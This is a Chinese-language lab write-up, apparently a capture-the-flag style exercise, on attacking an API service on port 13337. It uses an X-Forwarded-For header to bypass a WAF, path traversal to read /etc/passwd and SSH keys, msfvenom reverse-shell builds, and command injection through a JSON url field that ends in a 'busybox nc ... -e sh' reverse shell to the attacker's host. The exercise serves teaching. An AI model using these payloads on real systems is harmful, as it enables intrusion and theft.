“ API接口测试”
看到了,关注一下不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全, 里面每天会不定期更新OSCP知识点,车联网,渗透红队以及漏洞挖掘工具等信息分享,欢迎加入;以及想挖SRC逻辑漏洞的朋友,可以私聊。
01
—
API接口
这次遇到API接口测试的靶机,很有启发性!首先扫描端口,发现靶机开了22,13337端口,访问13337端口是,发现是一个api管理页面:
根据提示,我可以用GET的方式访问/logs目录:
但是有WAF,尝试添加XFF头绕过,发现成功回显:
X-Forwarded-For:127.0.0.1
Error! No file specified. Use file=/path/to/log/file to access log files
根据回显的报错,猜测有文件包含漏洞,构造数据包:
GET /logs?file=../../../../../../etc/passwd HTTP/1.1
Host: ip:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
X-Forwarded-For:127.0.0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
成功回显:
成功查看到了/etc/passwd,发现一个可登录的用户,看看有没有ssh私钥:
../../../../../../home/clumsyadmin/.ssh/id_rsa
没有成功,回到首页,根据/update的提示:
/update
Methods: POST
Updates the app using a linux executable. Content-Type: application/json {"user":"<user requesting the update>", "url":"<url of the update to download>"}
可以使用clumsyadmin用户上传一个elf的反弹shell,然后使用/restart接口重启app
构造一下包:
POST /update HTTP/1.1
Host: ip:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 64
{"user":"clumsyadmin", "url":"<url of the update to download>"}
回显了我们的用户名,那就尝试看看URL的参数能不能加载外链:
{"user":"clumsyadmin", "url":"http://kali_ip/test"}
发现可以,那就生成x86和x64的elf文件(因为不知道靶机是什么系统),上传上去重启APP看看能不能反弹回来:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ip LPORT=80 -f elf > x86.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ip LPORT=80 -f elf > x64.elf
尝试重启APP,但是无论是x86还是x64的都没有成功反弹,回到文件包含的部分,尝试更多的信息收集,由于是app,flask和django框架都有app,包含main.py文件发现了源码:
GET /logs?file=main.py HTTP/1.1
Host: ip:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
X-Forwarded-For:127.0.0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
重点观察更新这个函数:
'/update', methods = ["POST"]) .route(
def update():
if request.headers['Content-Type'] != "application/json":
return("Invalid content type.")
else:
data = json.loads(request.data)
if data['user'] != "clumsyadmin":
return("Invalid username.")
else:
os.system("curl {} -o /home/clumsyadmin/app".format(data['url']))
return("Update requested by {}. Restart the software for changes to take
发现在使用clumsyadmin用户后,会跳到os.system函数,并且使用了curl这个函数,整个命令执行的语句我们可以控制url的参数,可以尝试参数做命令执行
os.system("curl {} -o /home/clumsyadmin/app".format(data['url']))
使用tcpdump嗅探icmp包:
tcpdump -i tun0 icmp
注入命令:
POST请求体:
{"user":"clumsyadmin", "url":"http://192.168.x.x/test;ping -c 5 kali_ip;"}
发现可以成功命令执行!
那就尝试反弹shell:
POST请求体:
{"user":"clumsyadmin", "url":"http://192.168.x.x/test;busybox nc kali_ip 13337 -e sh;"}
成功突破边界!
原文始发于微信公众号(道玄网安驿站):API接口文件包含+命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论